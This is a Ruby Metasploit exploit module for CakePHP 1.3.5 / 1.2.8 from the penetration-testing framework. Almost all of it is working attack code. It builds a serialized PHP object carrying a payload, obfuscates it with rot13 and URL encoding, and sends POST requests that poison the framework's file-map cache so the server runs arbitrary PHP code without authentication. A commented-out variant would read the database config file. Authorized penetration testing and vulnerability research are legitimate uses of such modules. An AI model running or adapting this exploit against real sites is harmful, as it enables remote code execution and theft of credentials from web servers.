##
# $Id: cakephp_cache_corruption.rb 11074 2010-11-19 20:43:56Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Exploit',
      'Description'    => %q{
          
          CakePHP is a popular PHP framework for building web applications.
        The Security component of CakePHP is vulnerable to an unserialize attack which
        could be abused to allow unauthenticated attackers to execute arbitrary 
        code with the permissions of the webserver.
      },
      'Author'  =>  [
          'tdz', 
          'Felix Wilhelm', # poc
          ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 11074 $',
      'References'     =>
        [
          [ 'OSVDB', '69352'],
          [ 'BID', '44852' ],
          [ 'URL', 'http://packetstormsecurity.org/files/view/95847/burnedcake.py.txt' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'Space'       => 4000,
          # max url length for some old versions of apache according to
          # http://www.boutell.com/newfaq/misc/urllength.html
          'DisableNops' => true,
          #'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          'Keys'        => ['php'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 15 2010'
      ))

      register_options(
        [
          OptString.new('URI',  [ true, "CakePHP POST path", '/']),
          OptString.new('OptionalPostData',  [ false, "Optional POST data", '']),
        ], self.class)
  end


  def exploit
    #path = rand_text_alphanumeric(rand(5)+5)
    key = rand_text_alphanumeric(rand(5)+5)
    fields = rand_text_alphanumeric(rand(5)+5)

    #payload =  "readfile('../config/database.php'); exit();"
    len=payload.encoded.length + 6

    p = ""
    p << ':O:3:"App":4:{s:7:"__cache";s:3:"bam";s:5:"__map";a:2:{s:4'
    p << ':"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}'
    p << 's:3:"Foo";s:'
    p << len.to_s()
    p << ':"<? '
    p << payload.encoded 
    p << ' ?>";}s:7:"__paths";a:0:{}s:9:"__objects";a:0:{}}'

    #rot13 and urlencode
    p = p.tr("A-Ma-mN-Zn-z","N-Zn-zA-Ma-m")
    p = CGI.escape(p)

    data = "data%5b_Token%5d%5bkey%5d="
    data << key
    data << "&data%5b_Token%5d%5bfields%5d="
    data << fields
    data << p
    data << "&_method=POST"

    #some apps need the form post data
    if datastore['OptionalPostData']
      postdata = CGI.escape(datastore['OptionalPostData'])
      data << "&"
      data << postdata
    end

    print_status("Sending exploit request 1")
    res = send_request_cgi(
    {
      'uri'    => datastore['URI'],
      'method' => "POST",
      'ctype' => 'application/x-www-form-urlencoded', 
      'data'   => data
    }, 5)

    print_status("Sending exploit request 2")
    res = send_request_cgi(
    {  
      'uri'    => datastore['URI'],
      'method' => "POST",
      'ctype' => 'application/x-www-form-urlencoded',
      'data'   => data
    },5)

    print_status("Requesting our payload")
    response = send_request_raw({
      # Allow findsock payloads to work
      'global' => true,
      'uri' => datastore['URI']
    }, 5)

    handler
  end
end